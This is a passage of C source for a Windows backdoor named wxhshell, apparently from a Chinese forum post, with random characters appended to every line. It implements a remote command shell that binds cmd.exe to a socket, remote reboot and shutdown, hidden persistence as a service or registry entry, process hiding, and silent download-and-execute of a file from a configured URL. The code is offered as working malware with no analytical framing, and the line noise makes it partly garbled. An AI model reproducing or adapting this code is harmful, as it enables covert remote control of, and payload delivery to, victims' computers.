  } Ux,dj8=o  
  else { N}|1oQkjf  
PHsM)V+  
    switch(cmd[0]) { NFU=PS$  
  G4F~V't  
  // 帮助 #.j:P#  
  case '?': { 4!glgEE*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  z_C7=ga<  
    break; Cn9MboXX  
  } ht:L L#b*(  
  // 安装 ,! ~U5~  
  case 'i': { Mi!ak  
    if(Install()) ']Km%uwL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8W.-Y|[5?  
    else [xs`Pi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jaTCRn3|<  
    break; 7")&njQ/x  
    } ^-}3 +YA  
  // 卸载 H]lD*3b  
  case 'r': { a 8jG')zg  
    if(Uninstall()) oRn5blj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F, 5}3$  
    else yErvgf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'bef3P9`  
    break; .|ZnU]~T  
    } v^IMN3^W  
  // 显示 wxhshell 所在路径 (+\K  
  case 'p': { 87V XVI  
    char svExeFile[MAX_PATH]; `tsqnw  
    strcpy(svExeFile,"\n\r"); i];@e]   
      strcat(svExeFile,ExeFile); X<"#=u(  
        send(wsh,svExeFile,strlen(svExeFile),0); qmpU{f s  
    break; d #-<=6  
    } [h :FJ  
  // 重启 =1kjKE !  
  case 'b': { 1n ZE9;o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $r)nvf`\  
    if(Boot(REBOOT)) Y0OVzp9 b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xeHqC9Ou  
    else {  s@3<]  
    closesocket(wsh); PJcz] <  
    ExitThread(0); l\-(li H  
    } fI(H :N  
    break; =7("xz %  
    } @}N;C ..Y$  
  // 关机 [C~{g#  
  case 'd': { jr5x!@rb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W/R-~C e  
    if(Boot(SHUTDOWN)) fm% Y*<Y"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y)4D$9:  
    else { ~oBSf+N  
    closesocket(wsh); KWV{wW=-  
    ExitThread(0); [[u&=.Au  
    } 4fzM%ku  
    break; z[, `  
    } ;,&1  
  // 获取shell u"n ~ 9!G  
  case 's': { 4~r=[|(aY  
    CmdShell(wsh); \E<)B#  
    closesocket(wsh); My'6 yQL  
    ExitThread(0); 4a~9?}V:  
    break; 4B8{\ "6  
  } pRdO4?l  
  // 退出 &"svt2  
  case 'x': { h:+>=~\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZjJEjw  
    CloseIt(wsh); T+/Gz'  
    break; 2\!.w^7'^T  
    } xH8nn3U  
  // 离开 :U;ZBs3  
  case 'q': { 86@@j*c(@k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )Nq$~aAm  
    closesocket(wsh); yyHr. C  
    WSACleanup(); 5B( r[Ni b  
    exit(1); J`3 p Xc$.  
    break; 1k>*   
        } 71w$i 4  
  } \h"QgHzp  
  } Z5{M_^  
\*w*Q(&3  
  // 提示信息 CLD*\)QD\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HgX4RSU  
} yHoj:f$$x  
  } uEuK1f`  
'm"H*f  
  return; [OsW   
} >b/0i$8  
7b T5-=.  
// shell模块句柄 m5LP~Gb  
int CmdShell(SOCKET sock) DI!l.w5P_  
{ nyPA`)5F0  
STARTUPINFO si; GRj{*zs  
ZeroMemory(&si,sizeof(si)); gGdZ}9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S*CRVs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Kc\0-3 Z  
PROCESS_INFORMATION ProcessInfo; ^f1}:g  
char cmdline[]="cmd"; @*l}2W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Oox5${#^  
  return 0; !/$BXUrd  
} 5,qfr!hN,  
&e% y|{Y  
// 自身启动模式 Wm.SLr,o0  
int StartFromService(void) rq6(^I  
{ p2 y h  
typedef struct gzHjD-g-<  
{ s\Cl3  
  DWORD ExitStatus; Ph.$]yQCc]  
  DWORD PebBaseAddress; /^0Hi4+\  
  DWORD AffinityMask; J]|-.Wv1  
  DWORD BasePriority; 5R,/X  
  ULONG UniqueProcessId; 37!}8  
  ULONG InheritedFromUniqueProcessId; -]PW\}w1  
}   PROCESS_BASIC_INFORMATION; +3t(kQ  
Md_\9G .e  
PROCNTQSIP NtQueryInformationProcess; G(4:yK0  
G#CWl),=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tL;;Yt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7IZ(3B<87t  
q^dI!93n|  
  HANDLE             hProcess; ScfW;  
  PROCESS_BASIC_INFORMATION pbi; 12E@9s$Z  
+2W#= G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e v?Hz8Q;(  
  if(NULL == hInst ) return 0; ">voi$Kzey  
oc-7gz)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hgKs[ySo,3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "mT~_BsD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m.EWYO0XQ  
m(Bv}9  
  if (!NtQueryInformationProcess) return 0; })bTQj7  
+|( eP_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x_(B7ob  
  if(!hProcess) return 0; NCSb`SC:  
/tP"r}l   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; it>FG9hVo  
mKnkHGM  
  CloseHandle(hProcess); vC J  
OBN]bvCJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?~S\^4]  
if(hProcess==NULL) return 0; h.~S^uKi*  
FK={ %  
HMODULE hMod; >&U]j*'4  
char procName[255]; kS?!"zk>  
unsigned long cbNeeded; Pd^ilRB  
$+[HJ{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )n|:9hc  
HcQ{ok9u  
  CloseHandle(hProcess); 18ci-W#p  
ybf`7KEP2A  
if(strstr(procName,"services")) return 1; // 以服务启动 GXRK+RHuBi  
Z^`>;n2  
  return 0; // 注册表启动 G*Z4~-E4*  
} Dw6Q2Gnv  
|yN7#O-D  
// 主模块 tM ]qR+  
int StartWxhshell(LPSTR lpCmdLine) jr@<-.  
{ 6]Ppa ~Xwq  
  SOCKET wsl; 'ei9* 4y  
BOOL val=TRUE; M*+_E8Lh  
  int port=0; m[ txKj.=_  
  struct sockaddr_in door; Sjj &n S  
#xE" ];  
  if(wscfg.ws_autoins) Install(); yZA }WTGe  
(h|l$OL/  
port=atoi(lpCmdLine); |{Z?a^- NJ  
gnB%/g[_  
if(port<=0) port=wscfg.ws_port; 0$/wH#f  
Alp9] 0(  
  WSADATA data; |7UR_(}KC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \nPa>2r  
OYNs1yB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -Vt*(L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eSywWSdf0  
  door.sin_family = AF_INET; =1yU& PJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +&-/$\"  
  door.sin_port = htons(port); nvsuF)%9hZ  
H`aqpa"C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nY}Ep\g  
closesocket(wsl); i v&:X3iB  
return 1; Gv6EJV1i  
} VwHTtZ  
>,A:zbs&  
  if(listen(wsl,2) == INVALID_SOCKET) { vQ26U(7\>  
closesocket(wsl); qeSxE`E"  
return 1; I`E9]b(w  
} >K;p+( <6  
  Wxhshell(wsl); 8KT|ixs  
  WSACleanup(); m_Z%[@L  
XrtB&h|C  
return 0; }N*6xr*X+  
GZ UDI#  
} +;pdG[N  
[|xHXcW  
// 以NT服务方式启动 x:"_B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~%k<N/B  
{ VGA?B@  
DWORD   status = 0; q9yY%  
  DWORD   specificError = 0xfffffff; "+r8izB  
7oh6G  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  ]6W#P7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B.;/N220P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .z7F58  
  serviceStatus.dwWin32ExitCode     = 0; >j_,3{eJ  
  serviceStatus.dwServiceSpecificExitCode = 0; TR5"K{WDx  
  serviceStatus.dwCheckPoint       = 0; :_i1)4[!  
  serviceStatus.dwWaitHint       = 0; j!qO[CJJ  
^'*9,.ltd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dBX%/  
  if (hServiceStatusHandle==0) return; I(bH.{1n7  
`8KWZi4 ]  
status = GetLastError(); ) #9/vIQ  
  if (status!=NO_ERROR) \zR{D}aS  
{ Elh: %dr Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IdUMoLL?  
    serviceStatus.dwCheckPoint       = 0;  o-_0  
    serviceStatus.dwWaitHint       = 0; 'h.{fKG]ME  
    serviceStatus.dwWin32ExitCode     = status; "<t/*$42  
    serviceStatus.dwServiceSpecificExitCode = specificError; yx4B!U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $F`jM/B6  
    return; =sPY+~<o  
  } 3 =KfNz_  
q[ ] "`?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pZuYmMP  
  serviceStatus.dwCheckPoint       = 0; Txj%o5G  
  serviceStatus.dwWaitHint       = 0; }>6=(!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,/C<GFae  
} A+69_?B TH  
G5Y 8]N  
// 处理NT服务事件,比如:启动、停止 r,A750P^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b-@6w(j  
{ `)*   
switch(fdwControl) x4pl#~Su  
{ LwZBM#_g  
case SERVICE_CONTROL_STOP: w t? 8-_  
  serviceStatus.dwWin32ExitCode = 0; gk"S`1>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3YR6@*!f/  
  serviceStatus.dwCheckPoint   = 0; Y<#WC#3=  
  serviceStatus.dwWaitHint     = 0; s3W35S0Q3  
  { PBTGN;y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h$_Wh(  
  } &-470Z%/  
  return; !r,ZyJU  
case SERVICE_CONTROL_PAUSE: Jb#*QJ=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |)} F}~&  
  break; PnJr  
case SERVICE_CONTROL_CONTINUE: 5^t68 WOl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Pv1C o:  
  break; =4/LixsV|  
case SERVICE_CONTROL_INTERROGATE: {W62%>v  
  break; qDxz`}Ly=  
}; t^)q[g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $h`?l$jC(@  
} Yc3r 3Jy  
{l-,Jbfi`  
// 标准应用程序主函数 KN'l/9.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ja$e)  
{ [9u/x%f(  
#?k$0|60  
// 获取操作系统版本 f"~+mO  
OsIsNt=GetOsVer(); HIcx "y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :=+s^K  
6+_)(+ c  
  // 从命令行安装 U\&kT/6vh  
  if(strpbrk(lpCmdLine,"iI")) Install(); ? }|;ai  
:+|b7fF  
  // 下载执行文件 :@I?JSi  
if(wscfg.ws_downexe) { mR,p?[P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IvTtQq  
  WinExec(wscfg.ws_filenam,SW_HIDE); /tikLJ  
} |xG|HJm,  
a.v$+}+.[,  
if(!OsIsNt) { GrGgR7eC#P  
// 如果时win9x,隐藏进程并且设置为注册表启动 "Q`{+|'=E  
HideProc(); wO@b=1j  
StartWxhshell(lpCmdLine); 5r.\maW  
} y, tA~  
else H'-Fv!l?  
  if(StartFromService()) 7 6~x|6)  
  // 以服务方式启动 "!i7U2M'  
  StartServiceCtrlDispatcher(DispatchTable); :c"J$wT/  
else nchhNU  
  // 普通方式启动 xG 7;Ps4L  
  StartWxhshell(lpCmdLine); YES!?^}  
`<zaxO  
return 0; K2$mz  
}
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只看该作者 1 发表于: 2006-10-10
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